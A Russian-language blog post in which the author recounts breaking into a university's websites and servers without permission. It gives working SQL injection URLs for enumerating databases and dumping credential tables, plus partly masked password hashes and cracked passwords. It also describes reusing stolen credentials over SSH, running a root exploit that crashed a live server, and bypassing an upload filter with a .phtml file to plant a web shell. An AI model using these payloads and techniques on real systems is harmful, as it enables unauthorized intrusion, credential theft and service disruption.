[recovery mode] Hack ВУЗа или как я выбирал университет

Так как я абитуриент в этом году, мне пришлось просмотреть несколько сайтов российских ВУЗов и определиться, куда поступать.

Примечание: ВУЗ, о котором пойдет речь, я упоминать не буду, ибо ошибки пока не устранены, хотя письма администраторам информирующие их об уязвимостях разосланы.

Через некоторое время, когда сайты были осмотрены, тексты с зазываниями по типу «какой у нас классный ВУЗ» прочитаны, и решение было принято, я решил проверить, как у выбранного университета с безопасностью.

Полазив по сайту, получив порцию информации, по разглядывая фотографии, я заметил, что все ссылки имеют одинаковый формат: xxx.ru/?id=46&group=xxxx. По старой привычке подставив кавычку в параметры я ничего толком не обнаружил, новость/статья/контент как выводились, так и выводятся. Никакой SQL инъекции в радиусе сайта не наблюдалось. Очень неплохо.

И тут я уже было хотел покинуть сие чудо дизайнерской мысли, как вдруг мне стало интересно, а что же с другими сайтами университета?

Все ли так хорошо у них? Я предполагал всего-лишь небольшой аудит безопасности, а вышло нечто большее.

1. А ларчик то легко открывался.

Вбив в гугл запрос site:xxx.ru я наткнулся на множество поддоменов основного сайта.

Ну и конечно же начал с первого сайта в выдаче. Собственно это была библиотека университета. Без сканеров, я начал осматривать ссылки. Новости находились по ссылкам такого формата — xxx.ru/news?id=182.

Ну-с, вбиваем ковычку в конец и что мы видим. Новость не выводится, ошибки нет, но она есть (прям кот Шредингера). Видимо error_reporting(0). Проверяем, дабы быть достаточно уверенными — xxx.ru/news?id=182 or 1 = 1 --. Оп-па! Новость выводится, однозначно SQL инъекция.

Теперь дело за малым казалось, найти админку и раскрутить таблицы. Тут-то и началось веселье.

Во первых.
Поиск админки закончился заходом в файл robots.txt, где были следующие строки:

User-agent: *
Disallow: /mysql_mysql_mysql
Disallow: /admin_127864

Достаточно интересные, первая ссылка не работала, зато вторая выводила именно что админку. Информацию в сети по этой CMS я не нашел, да и не нужно было. Осталось раздабыть пароль админа и расковырять оставшуюся часть.

Возвращаемся к таблицам. Пункт «Во вторых» оставим на чуть-чуть потом.

Для начала подбираем количество столбцов в таблице с помощью UNION SELECT или же ORDER BY. Я взял второе, затем использовал первое. Методом подобров и исключений я получил 9 столбцов.

xxx.ru/news?id=182 ORDER BY 10 — - выдало ошибку.
xxx.ru/news?id=182 ORDER BY 7 — - выдало новость.
xxx.ru/news?id=182 ORDER BY 9 — - то, что надо.

Затем я уже использовал UNION SELECT соответственно — xxx.ru/news?id=-1%20UNION%20SELECT%201,2,3,4,5,6,7,8,9%20--

Для получения остальной информации:

Версия БД MySQL 5.1.60 — xxx.ru/news?id=-1%20UNION%20SELECT%201,2,version(),4,5,6,7,8,9%20--
Пользователь root@localhost (под рутом, боже мой) — xxx.ru/news?id=-1%20UNION%20SELECT%201,2,user(),4,5,6,7,8,9%20--
Базаданных ntb1 — xxx.ru/news?id=-1%20UNION%20SELECT%201,2,database(),4,5,6,7,8,9%20--

Гуд, все, что нужно для начала. 5-я версия, значит есть INFORMATION_SCHEMA и мы можем вытащить имена таблиц и столбцов. Но сперва мне стало интересно, какие базы данных есть ещё на сервере.

Для этого выполняю:
xxx.ru/news?id=-1%20UNION%20SELECT%201,2,SCHEMA_NAME,4,5,6,7,8,9%20%20FROM%20INFORMATION_SCHEMA.SCHEMATA%20--

Замечу, использовать LIMIT не пришлось, ибо все данные сразу выводятся по порядку, видимо код скрипта такой, результат из запроса он выводит в цикле.

И я получаю базы данных:
information_schema
SiteUsers
ftpusers
knigaob
mysql
ntb1
searchresult
squidctrl
squidlog
stg

А вот теперь и во вторых:
Больше всего меня заинтересовало конечно же ntb1, которую использует CMS, и ftpusers, значит пользователи от FTP хранятся в базе данных. Взлом становится ещё проще.

Так как вывод можно сделать полностью и сразу всего одной страницой, пускай и большой, я не стал медлить на написание кучи запросов и сделал так с помощью команды concat:

xxx.ru/news?id=-1%20UNION%20SELECT%201,2,CONCAT(TABLE_SCHEMA,%200x7c,%20TABLE_NAME,%200x7c,%20COLUMN_NAME),4,5,6,7,8,9%20%20FROM%20INFORMATION_SCHEMA.COLUMNS%20--

Собственно мы получили все поля, таблицы и их базы данных через символ — "|" на огромной странице. К слову, CONCAT объеденяет значения в MySQL. А 0x7c для тех, кто в танке — это SQL Hex реализация символа "|". Вот.

Но что меня больше всего заинтересовало, это таблицы и поля:
ftpusers|admin|Username
ftpusers|admin|Password

И для админки CMS:
ntb1|admin|user
ntb1|admin|pass

Классно, все как на ладони, можно даже было никакого сайта не делать, а сразу дать полный доступ на сервер для всех, да и все. Получаем пароли (не буду рассказывать, надоело постить ссылки с SQL кодом, тем более статья не об этом):

Для CMS:
ntb_srstu:924b8a7a7d1a7e64e1d196a1a05xxxxx

Для FTP:
Administrator:a38492721c6c1b0d48484a9b80axxxxx
userweb:1882759edc6ef542574fe0d307dxxxxx
gorb:63c148d92a178e5cd34c879372exxxxx

Пароли в md5, однако google с легкостью их расшифровал, кроме пароля для Administrator:
ntb_srstu:hw1xxx
userweb:xxxxx
gorb:minxxxxx

Но несмотря на все мои старания, админка не работала, да, авторизация вроде происходила, но после чего появлялось сообщение об ошибке, как на картинке (видимо новый эзотерический метод защиты):

С доступом по FTP все было ничуть не лучше, всего пара директорий и ничего более-менее интересного.

2. Упс.

На сервере был доступ по SSH. Это была последняя возможность пробраться на сервер, честно говоря, я в неё абсолютно не верил. Включаю Putty, ввожу логин и пароль от администратора CMS, не заходит, ввожу логин и пароль от FTP. И это работает! Я не мог поверить своим глазам, ну как?!? Как можно настолько халатно относиться к безопасности?

И в общем в итоге я оказался на самом сервере библиотеки, не под рутом, но все же. Чуть полазив по серверу и по доступным мне директориям и файлам я нашел файл конфигурации какой-то локальной службы, в нем соответственно были логин и пароль для подключения к базе данных: root:,tcrjytxyjcnmxxxxx.

Супер. Казалось бы, стоило отписать админу, чтоб он прикрыл дыры в безопасности, и отправляться довольно отдыхать, но не тут-то было. Я ещё полазил по серверу, по базам данных, разглядывал документы, просматривал папки, чисто для интереса. И тут мне захотелось стать рутом. Узнав версию сервера, это был FreeBSD 8.0 RELEASE, я начал искать локальный root эксплоит для всего этого дела.

Долго ходить не пришлось, я наткнулся на этот экземпляр — rdot.org/forum/showthread.php?t=1895. Скачал, загрузил на сервер по ftp и запустил. Уязвимость должна была использовать какую-то проблему с сокетами в Unix. Через несколько минут вместо того, чтобы дать мне root'а, эксплоит полностью положил сервер. Сайт не открывался, пинг не шел, все висело.

3. *Facepalm*.

Стало понятно, что этот путь уже не катит, перезапускать сплоит снова было бы риском полностью потерять сервер, в случае его очередного падения. Да и тем более, этим вечером его перезапускать никто и не собирался. Потому было решено пойти дальше и осмотреть другие сайты университета, дабы не терять время. Снова гугл, снова site:xxx.ru.

Ничего интересного на первых страницах не было, то Joomla, то что-то самописное. Как-то на одном из поддоменов одного факультета в директории admin было и такое (кошмар):

А при переходе на сам скрипт такое (где проходить саму авторизацию — неизвестно):

В итоге полазив по страничкам гугла я наткнулся на сайт ещё одного факультета. Вбив xxx.ru/index.php?id=23' я не обнаружил SQL инъекции, но все же решил посетить админку, и глянуть, что там такое стоит. Перейдя по ссылке admin.index.php я обнаружил, что это, по словам разработчиков, «Панель администратора [with PHP SPAW2 Editor]».

Никогда не сталкивался с SPAW редактором, потому немного поискал информацию о нем и нашел уязвимость.

Уязвимость заключалось в том, что любой пользователь может загрузить произвольный файл с расширением php, обойдя фильтр. Чуть более подробнее — www.exploit-db.com/exploits/12672/

Так как директории сайта не были проиндексированны, мне ничего не стоило найти папку /spaw2/dialogs/ и файл dialog.php — xxx.ru/admin/spaw2/dialogs/dialog.php.

Перейдя по специальной ссылке из описания уязвимости я увидел перед собой полноценный файловый менеджер.
xxx.ru/admin/spaw2/dialogs/dialog.php?module=spawfm&dialog=spawfm&theme=spaw2&lang=es&charset=&scid=cf73b58bb51c52235494da752d98cac9&type=files

Примечание: имена файлов замазаны от незатейливого читателя.

Теперь попробуем загрузить небольшой шелл и получить phpinfo(). В описании уязвимости гласило, что для обхода фильтра имя файла должно иметь примерно следующий формат: shell.jpg.php или же shell.php;,jpg

Но как я не пытался, загрузить файлы с такими расширениями, не получалось. Пришлось искать обходные пути. Заливать можно было документы (doc, docx, pdf), html файлы, изображения, и все, что по сути не должно было идти в ущерб безопасности (однако это не так). Файл .htaccess тоже грузился, но работать не хотел. Потому моя идея через .htaccess назначить файлы *.html исполняемыми php файлами не получилась:

AddType application/x-httpd-php .html

Методом проб и тыков фильтры ну просто никак не получалось обойти, *.php не грузилось. Совсем отчаявшись я решил погрузить файл с расширением phtml, но шансов не было, редко кто оставляет этот формат включенным для php скриптов.

Создаем info.phtml c <?php phpinfo(); ?> и грузим. На удивление phtml отлично грузится. Ну-с, давайте попробуем, проверим работу скрипта — xxx.ru/admin/spaw2/xxx/files/info.phtml

Работает! Да, именно, я увидел всю информацию из phpinfo(). Что же, дело за малым, загрузить шелл и мы на сервере.

Я взял шелл под названием r57shell.php, ибо он компактный, всего один файл, и простой в использовании. Можно скачать по ссылке r57.biz

Залив в папку шелл, перед этим поменяв расширение на phtml, я получил доступ на сервер. Оказавшись в директории сайта, я чуть полазил по исходникам, затем мне стало интересно, какие сайты ещё хостятся на сервере.

На удивление, я не заметил, как оказался на главном сервере, здесь были директории с основными сайтами ВУЗа, 70% сайтов университета были полностью в моем распоряжении. Базы данных, почта, пароли администраторов и даже ректора. Мне больше ничего не нужно было. Я мог дефейснуть главную страницу, стащить базу и исходники, но не стал хулиганить :) Да и не очень законно это.

В общем это было верхом халатности, получается что, любой студент, писавший статьи на сайт факультета или расписание, мог загрузить php скрипт и иметь в своем доступе основной сайт университета.

Что меня особенно удивило, так это то, что исходники главного сайта валялись в свободном доступе в архиве в корневой директории самого сайта. *facepalm*

В итоге решив, что день прожит не зря, я отписал письма администраторам и пошел довольный спать. Через некоторое время часть дыр залатали.

Вывод.

Можно сделать несколько выводов:
— Как не нужно делать сайты.
— Как важно следить за обновлениями.
— Как важно иметь везде разные сложные пароли.
— Как важно закрывать доступы к админкам, SSH, FTP.
— etc.

Я не могу сказать, выделяет ли бюджет средства на такие вещи, как веб-сайты и представительства ВУЗа в сети. Так что, если он выделяет, то деньги видимо были просто пропиты. Если же нет, и эти сайты делают голодающие студенты за еду и зачетку, то я их отчасти понимаю, но все-же, не оставлять же дыры на каждом шагу. Тем более, дыры абсолютно классические.

P.S. К слову ВУЗ не абы какой, а достаточно большой, известный и технический, более-менее авторитетный. Потому за такие ошибки, на мой взгляд, должно быть стыдно.
Поправляйте орфографию, если где ошибся.

Автор: MrPovod